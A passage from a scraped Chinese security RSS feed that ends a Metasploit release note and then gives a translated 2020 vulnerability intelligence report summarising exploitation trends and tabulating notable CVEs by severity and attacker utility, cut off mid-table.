等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;"><a href="https://github.com/rapid7/metasploit-framework/compare/6.0.44...6.0.45" target="_blank">https://github.com/rapid7/metasploit-framework/compare/6.0.44...6.0.45</a></span></em><span style="text-align: left;font-size: 15px;font-family: 等线;color: black;letter-spacing: 0.5px;">)</span><span style="text-align: justify;"></span></p></li></ul><p><br/><span style="font-size: 15px;"><span style="color: black;">    如果您是git用户，那么可以克隆</span><span style="color: rgb(233, 95, 38);">Metasploit Framework repo</span><span style="color: black;">（</span><em><span style="font-family: 等线;color: rgb(0, 213, 255);"><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></span></em><span style="color: black;">）以获取最新版本。<br/>    要在不使用git的情况下安装，可以使用只开放源码的</span><span style="color: rgb(233, 95, 38);">Nightly Installers</span><span style="color: black;">(</span><em><span style="font-family: 等线;color: rgb(0, 213, 255);"><a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers" target="_blank">https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers</a></span></em><span style="color: black;">)安装程序或</span><span style="color: rgb(233, 95, 38);">binaryinstallers</span><span style="color: black;">(</span><em><span style="font-family: 等线;color: rgb(0, 213, 255);"><a href="https://www.rapid7.com/products/metasploit/download/" target="_blank">https://www.rapid7.com/products/metasploit/download/</a></span></em><span style="color: black;">)安装程序（也包括商业版）。</span></span></p><p><span style="font-size: 15px;"> </span></p><p><br/></p>



<p><a href="https://www.rapid7.com/blog/post/2021/05/21/metasploit-wrap-up-112/">阅读原文</a></p>
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      <pubDate>Fri, 28 May 2021 16:31:00 +0800</pubDate>
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      <title>2020漏洞情报报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484584&amp;idx=1&amp;sn=af57e7c570443a4f35ec0a5b8d38da12</link>
      <description>介绍众所周知在企业内部：安全部门、IT部门、负责漏洞管理以及降低企业内部风险的团队所处的环境经常会面对高频的</description>
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<span>翻译：李鹏</span> <span>2021-05-22 17:02</span> <span style="display: inline-block;"></span>
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<p>介绍众所周知在企业内部：安全部门、IT部门、负责漏洞管理以及降低企业内部风险的团队所处的环境经常会面对高频的</p>
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<img src="https://wechat2rss.xlab.app/img-proxy/?k=84163df0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVskkMwV8QRopWv1P7GGtBibPFxdXX2iaZ6jwp65Q7JzAGBQibvWz8N6nElMkdxjj8VM3eRR6QjozjSw%2F0%3Fwx_fmt%3Djpeg"/>
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<p><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 17px;">介绍</span></strong></span></p><p><span style="font-size: 15px;">众所周知在企业内部：安全部门、IT部门、负责漏洞管理以及降低企业内部风险的团队所处的环境经常会面对高频的报警以及海量的安全信息，<span style="color: black;">于是乎能够从海量信息中获取有利的数据并付诸于行动成了难能可贵的能力。特别是</span>当新的潜在威胁出现时，信息安全专业人员往往需要先自己将模糊且不全的描述和未经测试的公告进行分析，建立自己的特定风险模型并转化为可实施的解决方案。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">再此期间，为了向大家公布为什么某些漏洞会被轻易利用，每年安全研究人员都会分析此年间产生的漏洞，通过了解其产生的根本原因，并将其分享出来。这样在面对新的高危漏洞时就不会再谈“洞”色变了。通过分析2020年众多漏洞的突出利用趋势和攻击者的使用案例，我们集中展示了中的其中50个，以更好的了解新出现的安全威胁。我们的目的是将那些给各组织带来严重风险的漏洞进行情景化处理。此外还提供了一个攻击者实用程序列表，以及为防御者提供了漏洞的防御指南。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">首先声明这份报告不是威胁情报报告，尽管我们在报告中使用了网络威胁情报（CTI）术语。但是，我们确实通过分析许多优秀的威胁情报提供者提供的信息，来丰富了这篇文章的内容。他们从分析攻击者的动机、方法、技术和程序（TTP），再到定位特定威胁参与者这一方面有着一流的水准。但传统的CTI方法论和元素（包括危害指标（IOC）等工件）不在本文讨论范围之内。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">下面的内容包含了大量的漏洞数据，虽然这些漏洞信息都很重要，但不要让它左右了你的判断: 说到底这只是一篇提升威胁意识本能的报告，通过它可以驱使安全研究人员和开发人员提升面对安全事件的危机意识。</span></p><h2><span style="font-size: 15px;">摘要</span></h2><p><span style="font-size: 15px;">在过去五年中，发布漏洞的数量显著增加。与2016年相比，2017年的CVE漏洞数量增加了127％，此后每年的CVE数量都超过了其前一年。到2020年年底时， 2020年漏洞总数累计达到18362个，比2019年增加了6％，比五年前增加了185％。2020年12月由nationstate-backed campaigns的披露得知，全球超过 6 个美国政府机构和数千个组织遭受了重大安全事件的打击，其中最严重的一些事件通常发生在面向互联网的技术上，这些技术对于这两年兴起的远程办公也有着严重的影响。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">当然，并不是所有2020年的安全漏洞都可以被利用，即使是那些严重程度达到10分的高危风险。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在这份报告中，我们研究了50个不同的cve，其中有30个漏洞在2020年被高频利用，要么是不分青红皂白的攻击，要么是小规模的、有针对性的攻击。其余20个漏洞尚未被高频利用，但我们通过其对攻击者的价值、技术细节、可发现性和攻击代码的高频可用性将其归类为<span style="color: black;">Impending（紧急的威胁）</span>。当然，不划分在里面并不意味着这些漏洞没有被高频利用——只是可能缺乏证据去公开披露而已。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">2020年调查结果包括：</span></strong></span></p><p><span style="font-size: 15px;"> </span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>14个在2020年成为<span style="color: black;">widespread threats（高频利用威胁）</span>并对各种规模的组织构成重大风险的漏洞。</strong>您将认识到2020年利用次数最多的一些漏洞，其中包括WebLogic Server和ManageEngine zero days，以及RECON和Zerologon之类的漏洞。我们<span style="color: black;">widespread threat（高频利用威胁）</span>中有14个cve被各种各样的恶意组织利用，包括但不限于拥有国家支持背景的黑客、个人技术爱好者。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>在2020年的安全新闻头条中占据显著位置的重要漏洞，但其实有些漏洞比它们更易被利用。</strong>2020年反序列化和不适当的访问控制漏洞是让widespread threat（高频利用威胁）生效的根本原因，它们在widespread（高频利用）列里占据了78%。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>2020年影响最大的漏洞通常发生在安全产品上，而这些产品又常位于企业网络中关键且经常暴露在外的位置。</strong>我们在本报告中列出了9个漏洞，它们通常是作为网络枢纽，被外部攻击者利用vpn、防火墙或其他面向互联网的技术进行权限获取，从而为其访问内部网络提供了机会。这些缺陷通常与本地代码执行漏洞或网络协议漏洞一起使用，以升级特权账户或在公司网络上进行横向移动。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>2020年出现了多个严重影响了底层软件库的操作技术(OT)和物联网(IoT)的漏洞。</strong>尽管近年来这一脆弱性类别引起了越来越多的关注。但经研究，其可利用性还是很低，且有不容易复刻的特性。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>在2020年，维护者们不得不面对源源不断的补丁绕过，这扰乱了原有的修复计划，并带来了更多容易被忽略的风险。</strong>我们的整理了补丁绕过和不完整的补丁，共9个，其中7个绕过了已知被利用或拥有高价值父漏洞的修复。有趣的是，我们注意到，现在软件供应商开始慢慢减少公开攻击链信息，而不是尝试解决报告给他们的bug，这种情况关键还越来越常见，当然这也可以从侧面解释了为什么去年出现了大量的补丁绕过的原因。</span></p><p><br/></p><p><br/></p></li></ul><h1><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 17px;">2020年的威胁</span></strong></span></h1><h2 style="margin-left:24px;"><span style="font-size: 15px;color: rgb(233, 95, 38);">1.<span style="font-style: normal;font-variant: normal;font-weight: normal;font-stretch: normal;line-height: normal;font-family: &#34;Times New Roman&#34;;">  </span>频繁被利用的漏洞和其他重要CVE</span></h2><p><span style="font-size: 15px;">值得一提的是，2020年新增了像零日披露（</span><span style="font-family: Arial, sans-serif;color: rgb(20, 104, 160);letter-spacing: 0.33px;background: rgb(254, 254, 254);font-size: 15px;">zero-day disclosures</span><span style="font-size: 15px;">）和公共威胁情报（<span style="font-family: Arial, sans-serif;color: rgb(89, 89, 89);letter-spacing: 0.33px;background: rgb(254, 254, 254);"> </span></span><span style="font-family: Arial, sans-serif;color: rgb(20, 104, 160);letter-spacing: 0.33px;background: rgb(254, 254, 254);font-size: 15px;">public threat intelligence</span><span style="font-size: 15px;">）的平台，虽然这些情报大都来自美国国家安全局(也有传统的来源，如CISA和countryCERTs)。这一做法，毫无疑问是为了加速修补程序的更新，同时也表明了对漏洞信息透明公开的一种态度，但这也同样加剧了人们在面对新的高风险漏洞时的紧迫感，特别是在面对安全新闻媒体的报道时，更加加剧了这种紧迫感。如果不承认美国情报机构在塑造人们的看法和影响工作重点方面发挥的作用，就很难去讨论过去一年的威胁形势，尤其是考虑到有关这些信息披露的新闻标题可能会让高管、商业利益相关者以及安全从业人员看到。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5505415162454874" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=46da5761&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWpjo9JmxibQmowqtjAWRIDXOHjmngTxicxRaYxX9lAosaOk8NC6RnVUDzZ7cBEPDNXz1kP5sJj94Rw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><br/></p><table cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><p><strong><span style="font-size:16px;font-family:等线;color:#595959;letter-spacing:.33px;background:#FEFEFE;">什么是威胁？</span></strong></p><p><strong><span style="font-family:等线;color:#595959;letter-spacing:.33px;background:    #FEFEFE;">当对手有意图、能力和机会时，威胁就存在了。其中两个或两个以上的元素出现时</span></strong><strong><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:    .33px;background:#FEFEFE;">(</span></strong><strong><span style="font-family:    等线;color:#595959;letter-spacing:.33px;background:#FEFEFE;">如意图和能力，但没有机会</span></strong><strong><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:    .33px;background:#FEFEFE;">)</span></strong><strong><span style="font-family:    等线;color:#595959;letter-spacing:.33px;background:#FEFEFE;">，我们就称其为</span></strong><strong><span style="font-family:Arial,sans-serif;color:black;letter-spacing:.33px;background:#FEFEFE;">Impending Threats</span></strong><strong><span style="font-family:等线;color:#595959;letter-spacing:.33px;background:#FEFEFE;">（紧急的威胁），因为在它成为真正的威胁之前，只缺少一个元素。当只有一个因素存在时</span></strong><strong><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:    .33px;background:#FEFEFE;">(</span></strong><strong><span style="font-family:    等线;color:#595959;letter-spacing:.33px;background:#FEFEFE;">例如，以软件漏洞的形式存在的机会</span></strong><strong><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:    .33px;background:#FEFEFE;">)</span></strong><strong><span style="font-family:    等线;color:#595959;letter-spacing:.33px;background:#FEFEFE;">，我们称之为潜在的威胁。它有可能变成真正的威胁，尽管在它对大多数组织产生真正的影响之前，还需要达到一些额外的条件。</span></strong></p></td></tr></tbody></table><p><span style="font-size: 15px;">我们在数据中罗列了被高频利用的漏洞（<span style="color: black;">widespread threats</span>）和基于现有证据归类的有针对性攻击（<span style="color: black;">targeted threats</span>）的漏洞。在我们收集的数据中几乎所有有针对性的威胁，都可以找到一个已有成功被利用的可信来源报告，不管后续有没有进一步的公开利用报告。当然，这些漏洞在被披露时大多都是以零日漏洞的身份出现。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">相应的，在我们（widespread threat）高频利用威胁类别中的cve通常被众多恶意攻击者利用，从僵尸网络控制器到APTs，再到脚本小子，他们向暴露在互联网的主机无差别使用公共概念验证(PoC)代码。换句话说，如果我们将一个威胁归类为（widespread threat）高频利用威胁，那么这个分类是基于攻击的数量，而不是具体是谁在进行攻击。但是，不管是什么时候，企业都应该对其受到的攻击进行响应和调查，以在发生攻击事件期间寻找IOC和可疑活动，并第一时间为程序打上紧急补丁。</span></p><p><br/></p><h3><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 17px;">widespread threa（高频利用威胁）</span></strong></span></h3><p><span style="font-size: 15px;">我们归类了14个高频利用的威胁，它们都在2020年对企业安全造成了或多或少的影响。如果不及时修补，这个影响有可能会持续更久。因为成功利用这些漏洞所造成的影响是很严重的。其大多数攻击都会允许远程代码执行(remote code execution, RCE)。还有一些攻击，允许未经身份验证的远程攻击者控制基础设施，然后通过利用面向互联网的系统或接口访问内部网络。值得注意的是，这个类别中的两项——zoho ManageEngine CVE-2020-10189和vBulletincve -2020-17496——在供应商提供补丁之前就有了稳定的攻击代码。</span></p><table cellspacing="0" cellpadding="0" width="554"><tbody><tr style="height:144px;"><td width="127" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;" height="144"><p style="text-align:left;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="58" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;" height="144"><p style="text-align:left;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="123" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;" height="144"><p style="text-align:left;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="123" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;" height="144"><p style="text-align:left;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="123" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;" height="144"><p style="text-align:left;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2019-18935</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Telerik UI  RadAsyncUpload .NET Deserialization</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2019-19781</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler  ADC/Gateway/SD-WAN Arbitrary Code Execution</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0688</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft  Exchange Server Static Validation Key Remote Code Execution</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0796</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows SMBv3  Server Remote Code Execution &#34;SMBGhost&#34;</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-10189</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Zoho ManageEngine  Remote Code Execution</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span><span style="font-size:11px;font-family:  Arial,sans-serif;color:#595959;"> (released as 0day)</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-11651</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SaltStack Salt  Remote Code Execution</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1472</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">NetLogon  Elevation of Privilege &#34;Zerologon&#34;</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Lateral movement</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14750</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">WebLogic  Unauthenticated Remote Code Execution Patch Bypass</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span 